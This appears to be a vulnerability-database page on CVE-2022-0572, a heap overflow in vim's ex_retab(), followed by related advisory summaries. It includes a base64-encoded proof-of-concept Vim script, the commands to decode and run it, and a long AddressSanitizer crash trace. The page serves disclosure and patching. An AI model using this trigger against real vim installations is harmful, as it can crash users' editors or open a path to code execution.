Headline

CVE-2022-0572: Heap-based Buffer Overflow in vim

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.

2 years ago

CVE

Open in Source

#git #buffer_overflow

Description

Heap overflow occurs in ex_retab().

commit : 414acd342f4a66d930da34d419929985b48bd301

Proof of Concept

$ echo -ne "ZnUgUihiLG4pCmxldCBvbGRfdGFic3RvcD0mdGFic3RvcApleGUicmV0ImE6bgppZiBhOm4KZXhl
J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFIo
JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs
UignJywwKQo=" | base64 -d > poc

# ASAN
$ ./bin/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
=================================================================
==15561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f99766cb000 at pc 0x000000499a42 bp 0x7ffc0b8ce870 sp 0x7ffc0b8ce038
WRITE of size 49437514 at 0x7f99766cb000 thread T0
    #0 0x499a41 in __asan_memmove (/home/alkyne/vim-debug/src/vim.asan+0x499a41)
    #1 0x7e63a6 in ex_retab /home/alkyne/vim-debug/src/indent.c:1732:4
    #2 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #3 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #4 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
    #5 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #6 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #7 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #8 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #9 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #10 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #11 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #12 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #13 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #14 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #15 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #16 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #17 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #18 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #19 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #20 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #21 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #22 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #23 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #24 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #25 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #26 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #27 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #28 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #29 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #30 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #31 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #32 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #33 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #34 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #35 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #36 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #37 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #38 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #39 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #40 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #41 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #42 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #43 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #44 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #45 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #46 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #47 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #48 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #49 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #50 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #51 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #52 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #53 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #54 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #55 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #56 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #57 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #58 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #59 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #60 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #61 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #62 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #63 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #64 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #65 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #66 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #67 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #68 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #69 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #70 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #71 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #72 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #73 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #74 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #75 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #76 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #77 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #78 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #79 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #80 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #81 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #82 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #83 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #84 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #85 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #86 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #87 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #88 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #89 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #90 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #91 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #92 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #93 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #94 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #95 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #96 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #97 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #98 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #99 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #100 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #101 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #102 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #103 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #104 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #105 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #106 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #107 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #108 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #109 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #110 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #111 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #112 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #113 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #114 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #115 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #116 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #117 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #118 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #119 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #120 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #121 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #122 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #123 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #124 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #125 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #126 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #127 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #128 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #129 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #130 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #131 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #132 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #133 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #134 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #135 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #136 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #137 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #138 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #139 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #140 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #141 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #142 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #143 0xacfae4 in do_source /home/alkyne/vim-debug/src/scriptfile.c:1512:5
    #144 0xacd35c in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:1098:14
    #145 0xacd0dd in ex_source /home/alkyne/vim-debug/src/scriptfile.c:1124:2
    #146 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #147 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #148 0x6b43f0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:587:12
    #149 0xe9ce54 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
    #150 0xe9ab8e in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2
    #151 0xe947cb in main /home/alkyne/vim-debug/src/main.c:424:12
    #152 0x7f998957f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #153 0x41d9cd in _start (/home/alkyne/vim-debug/src/vim.asan+0x41d9cd)

0x7f99766cb000 is located 6144 bytes to the left of 9315507-byte region [0x7f99766cc800,0x7f9976faecb3)
allocated by thread T0 here:
    #0 0x49a17d in __interceptor_malloc (/home/alkyne/vim-debug/src/vim.asan+0x49a17d)
    #1 0x4cc2d8 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
    #2 0x4cc229 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
    #3 0x7e632a in ex_retab /home/alkyne/vim-debug/src/indent.c:1727:15
    #4 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #5 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #6 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
    #7 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #8 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #9 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #10 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #11 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #12 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    #13 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #14 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
    #15 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
    #16 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
    #17 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #18 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #19 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
    #20 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #21 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #22 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
    #23 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #24 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #25 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #26 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
    #27 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
    #28 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #29 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src/vim.asan+0x499a41) in __asan_memmove
Shadow bytes around the buggy address:
  0x0ff3aecd15b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff3aecd1600:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15561==ABORTING

Impact

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

Related news

Ubuntu Security Notice USN-6026-1

Ubuntu Security Notice 6026-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. This issue only affected Ubuntu 20.04 LTS. It was discovered that Vim was using freed memory when dealing with regular expressions inside a visual selection. If a user were tricked into opening a specially crafted file, an attacker could crash the application, leading to a denial of service, or possibly achieve code execution with user privileges. This issue only affected Ubuntu 14.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.

1 year ago

Packet Storm

Open in Source

#vulnerability #windows #ubuntu #dos #perl #buffer_overflow

CVE-2023-28069: DSA-2022-258: Dell Streaming Data Platform Security Update for Multiple Third-Party Component Vulnerabilities

Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.

1 year ago

CVE

Open in Source

#sql #vulnerability #web #google #linux #apache #nodejs #js #git #java #kubernetes #samba #pdf #log4j #ssh #dell #mongo #postgres #ssl

Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs

Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]

2 years ago

Alexander V. Leonov

Open in Source

#sql #vulnerability #web #ubuntu #linux #debian #perl #ldap #amd #ssh #ibm #docker #chrome #firefox #sap #ssl #blog

CVE-2022-26730: About the security content of macOS Ventura 13

A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation. This issue is fixed in macOS Ventura 13. Processing a maliciously crafted image may lead to arbitrary code execution.

2 years ago

CVE

Open in Source

#sql #vulnerability #web #ios #mac #apple #google #microsoft #dos #git #intel #pdf #buffer_overflow #zero_day #ruby #webkit

Ubuntu Security Notice USN-5460-1

Ubuntu Security Notice 5460-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. It was discovered that Vim was not properly performing bounds checks for column numbers when replacing tabs with spaces or spaces with tabs, which could cause a heap buffer overflow. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code.

2 years ago

Packet Storm

Open in Source

#vulnerability #ubuntu #dos #perl #buffer_overflow